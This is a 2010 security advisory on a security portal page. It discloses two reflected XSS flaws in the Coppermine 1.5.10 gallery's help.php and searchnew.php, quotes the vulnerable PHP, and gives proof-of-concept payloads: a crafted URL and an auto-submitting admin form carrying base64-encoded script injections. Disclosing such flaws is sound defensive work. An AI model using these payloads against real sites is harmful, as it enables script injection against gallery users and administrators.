Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
February 13, 2016
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Subl1m3r
New Today: 0
New Yesterday: 1
Overall: 9014

People Online:
Visitors: 311
Members: 2
Total: 313

Online Now:
01: kolaz - Homepage
02: ZiPo - Forums
PacketStorm News
Currently there is a problem with headlines from this site
[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10





Author: Janek Vind "waraxe"
Date: 28. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-79.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Coppermine version 1.5.10. Research showed, that
all versions in 1.5.x branch, including 1.5.1_alpha, are vulnerable as well.

###############################################################################
1. Reflected XSS in "help.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameters "h" and "t"
Preconditions: none

Source code snippet from vulnerable script "help.php":
-----------------[ source code start ]---------------------------------
if ($superCage->get->keyExists('base')) {
$base = $superCage->get->getInt('base');
...
if ($superCage->get->keyExists('h')) {
$header = $superCage->get->getEscaped('h');
...
if ($superCage->get->keyExists('t')) {
$text = $superCage->get->getEscaped('t');
...
if ($base != '') {
// content of header and text have been base64-encoded - decode it now
$header = @unserialize(@base64_decode($header));
$text = @unserialize(@base64_decode($text));
}
...
if ($header != '') {
$content = '<h1>'.$header.'</h1>';
$content .= $text;
...
echo <<< EOT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
...
<div id="cpg_main_block">
$string
$content
-----------------[ source code end ]-----------------------------------

As seen above, user-provided data is base64 decoded and then used for html
output. No sanitization of potentially dangerous data, therefore Reflected XSS
security vulnerability exists in specific php script.

Example exploit:

http://localhost/cpg.1.5.10/help.php?base=1
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7


###############################################################################
2. Reflected XSS in "searchnew.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted POST parameter "picfile_*"
Preconditions:
1. user must be logged in as Coppermine admin
2. XSS payload charset is somewhat limited, little bit of creativity needed


Source code snippet from vulnerable script "searchnew.php":
-----------------[ source code start ]---------------------------------
if (!GALLERY_ADMIN_MODE) {
cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__);
...
if ($superCage->post->keyExists('insert')) {
if ($superCage->post->keyExists('pics')){
$pics = $superCage->post->getAlnum('pics');
...
foreach ($pics as $pic_id) {
...
$picfile = $superCage->post->getAlnum('picfile_'.$pic_id);
$pic_file = base64_decode($picfile);
...
$file_name = basename($pic_file);
...
echo '<td class="'.$rowStyle.'" valign="middle" align="left">'.$file_name.'</td>'
-----------------[ source code end ]-----------------------------------

As seen above, user-provided POST parameter "pics_*" is base64 decoded
and then processed by php function basename(). Finally it is used for
html output. As in previous vulnerability, attacker is able to use base64
encoding for XSS payload obfuscation. What differs from previous case, is
the use of basename() function. Thanks to this function, XSS payload charset
is somewhat limited. Still, specific Reflected XSS vulnerabilty is exploitable.

Example exploit (Coppermine admin privileges needed):
-----------------------------------------------------------------------
<html><body><center>
<form action="http://localhost/cpg.1.5.10/searchnew.php" method="post">
<input type="hidden" name="insert" value="1">
<input type="hidden" name="pics[]" value="222">
<input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg">
<input type="submit" value="Test!">
</form>
</center></body></html>
-----------------------------------------------------------------------


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, Chb,
vince213333, to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2010-12-28 (6097 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Oracle Java SE CVE-2015-4860 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4872 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4911 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4903 Remote Security Vulnerability
·Bugtraq: [SECURITY] [DSA 3413-1] openssl security update
·Bugtraq: [SECURITY] [DSA 3412-1] redis security update
·Bugtraq: [security bulletin] HPSBGN03525 rev.1: HP Performance Center Virtual Table Server, Remote Code Execution
·Bugtraq: ESA-2015-171 EMC NetWorker Denial-of-service Vulnerability
·More rss feeds from SecurityFocus

read more...
alexa



Film DVD comments and reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.064 Seconds